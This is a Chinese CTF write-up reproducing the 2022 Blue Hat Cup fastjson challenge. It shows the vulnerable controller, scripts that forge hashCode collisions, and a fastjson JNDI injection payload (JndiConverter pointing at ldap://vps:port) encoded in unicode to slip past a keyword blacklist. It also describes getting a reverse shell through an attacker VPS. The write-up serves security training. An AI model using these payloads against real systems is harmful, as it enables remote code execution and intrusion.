蓝帽杯2022初赛-fastjson复现
趁热打铁,直接复现一波蓝帽杯2022初赛的一道fastjson。
简简单单写了个Dockerfile和docker-compose.yml,网上能找到jar包链接,然后启动服务:
//Dockerfile
FROM openjdk:8 COPY ./src /app WORKDIR /app RUN echo flag{EddieMurphy_You_Bet!!!} > /flag CMD java -jar ezgadget.jar
//docker-compose.yml
version: "3" services: web: build: . ports: - "8097:8080"
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.util.Objects; import java.util.regex.Pattern; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class JSONController { public JSONController() { } @ResponseBody @RequestMapping({"/"}) public String hello() { return "Your key is:" + secret.getKey(); } @ResponseBody @RequestMapping({"/json"}) public String Unserjson(@RequestParam String str, @RequestParam String input) throws Exception { if (str != null && Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) { String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\x.*"; Pattern p = Pattern.compile(pattern, 2); boolean StrMatch = p.matcher(input).matches(); if (StrMatch) { return "Hacker get out!!!"; } ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parseObject(input); } return "hello"; } }
查看反编译的源码,其实思路也很简单,网页会先把secretkey打印出来,如上图所示,然后是先传参进行一个hashcode的伪造,要与secretkey的hashcode相同但是str传的参不能和secretkey本身相同。
然后后续就是把rmi、jndi、ldap、\x关键字给ban掉了,意思就是不让你用hex编码绕过了,但是我们还可以使用unicode编码。
此外对于远程资源加载的Pattern.compile
匹配我们可以使用换行%0a
完成绕过。
然后在input里面传payload:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://vps:port/xxxxx"}";
直接反弹shell。(原题最后还用到了一个date的suid提权,但是我docker复现懒得写权限,反正能打进去就行了)
首先就是一个hashcode伪造,参考:Java 构建 HashCode 相同的字符串_java 中hash相同的字符-CSDN博客
由此得知:
直接上脚本:
from urllib import parse while 1: key=input("#") print(parse.quote(chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::]))
或者:
def test(str1): h = 0 for i in range(len(str1)): h = 31*h+ord(str1[i]) value = h result = "" for i in str1[::-1]: for j in range(31,128): if (value-j)%31 ==0: result+=chr(j) value = (value-j)//31 break if value < 128: result+=chr(j) break return result[::-1] print(test(input("key:")))
但我查看了一下其他wp,发现直接key前面加一个%00就能绕过了,呃呃....
bp抓包,添加Content-Type: application/json打/json路由,vps启动JNDI-Exploit,反弹shell:
//原始payload
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://vps:port/xxxxx"}";
//POST传参格式
str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://vps:port/xxxxx"}
//unicode编码(最终payload) str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"\u006c\u0064\u0061\u0070://vps:port/xxxxx"}
此外对于远程资源加载的Pattern.compile
匹配我们可以使用换行%0a
完成绕过,也就是直接在ldap前加一个%20也绕过了。
老规矩DNSlog先测:
收到回显,能出网。
这里本来我是想用ldap打的,但是我那个工具能启动ldap的JDK版本是1.7和1.8,都打不了。
但是下面有个无视版本的rmi服务,我就用这个打了,直接出:
预期解的爆破hashcode和打ldap服务没出,前者我用的加%00打的,感觉是脚本问题,后者是工具问题。
但是无伤大雅,能明白原理就行。